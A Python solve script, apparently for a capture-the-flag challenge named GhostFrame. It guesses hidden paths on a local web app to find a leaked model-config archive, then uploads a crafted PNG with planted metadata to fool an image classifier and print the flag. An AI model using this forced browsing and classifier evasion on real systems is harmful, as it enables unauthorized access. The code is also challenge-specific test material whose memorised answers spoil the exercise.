75 lines
2.6 KiB
Python
75 lines
2.6 KiB
Python
from __future__ import annotations
|
|
|
|
import io
|
|
import json
|
|
import re
|
|
import sys
|
|
import zipfile
|
|
|
|
import httpx
|
|
from PIL import Image, PngImagePlugin
|
|
|
|
|
|
def png_bytes(*, metadata: dict[str, str] | None = None, checker: bool = False) -> bytes:
|
|
image = Image.new("RGB", (48, 48), (18, 18, 18))
|
|
for x in range(48):
|
|
for y in range(48):
|
|
if checker and (x + y) % 2 == 0:
|
|
image.putpixel((x, y), (255, 255, 255))
|
|
elif checker:
|
|
image.putpixel((x, y), (255, 120, 0))
|
|
info = PngImagePlugin.PngInfo()
|
|
for key, value in (metadata or {}).items():
|
|
info.add_text(key, value)
|
|
output = io.BytesIO()
|
|
image.save(output, format="PNG", pnginfo=info)
|
|
return output.getvalue()
|
|
|
|
|
|
def discover_bundle(client: httpx.Client) -> bytes:
|
|
wordlist = ("backup", "debug", "admin", "hidden", "archive", "internal")
|
|
for word in wordlist:
|
|
response = client.get(f"/{word}", follow_redirects=True)
|
|
if response.status_code != 200:
|
|
continue
|
|
match = re.search(r'href="([^"]*prizrachny_kadr_export\.zip)"', response.text)
|
|
if not match:
|
|
continue
|
|
bundle_response = client.get(match.group(1))
|
|
bundle_response.raise_for_status()
|
|
return bundle_response.content
|
|
raise RuntimeError("Hidden archive page was not discovered.")
|
|
|
|
|
|
def main() -> int:
|
|
base_url = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8011"
|
|
with httpx.Client(base_url=base_url.rstrip("/"), timeout=20.0, trust_env=False) as client:
|
|
bundle_bytes = discover_bundle(client)
|
|
with zipfile.ZipFile(io.BytesIO(bundle_bytes)) as archive:
|
|
preprocess = json.loads(archive.read("preprocess.json").decode("utf-8"))
|
|
print(f"[+] leaked bundle: {archive.namelist()}")
|
|
print(f"[+] threshold: {preprocess['threshold']}")
|
|
if preprocess.get("input") != [
|
|
"amber_ratio",
|
|
"blue_ratio",
|
|
"contrast",
|
|
"edge_density",
|
|
"filename_signal",
|
|
"metadata_signal",
|
|
]:
|
|
raise RuntimeError("Unexpected feature layout in preprocess.json.")
|
|
|
|
candidate = png_bytes(metadata={"ghost-signal": "iris-lane"}, checker=True)
|
|
solve = client.post("/api/submit", files={"upload": ("lattice-lens.png", candidate, "image/png")})
|
|
solve.raise_for_status()
|
|
payload = solve.json()
|
|
flag = payload.get("flag")
|
|
if not flag:
|
|
raise RuntimeError(f"GhostFrame did not solve: {payload}")
|
|
print(flag)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|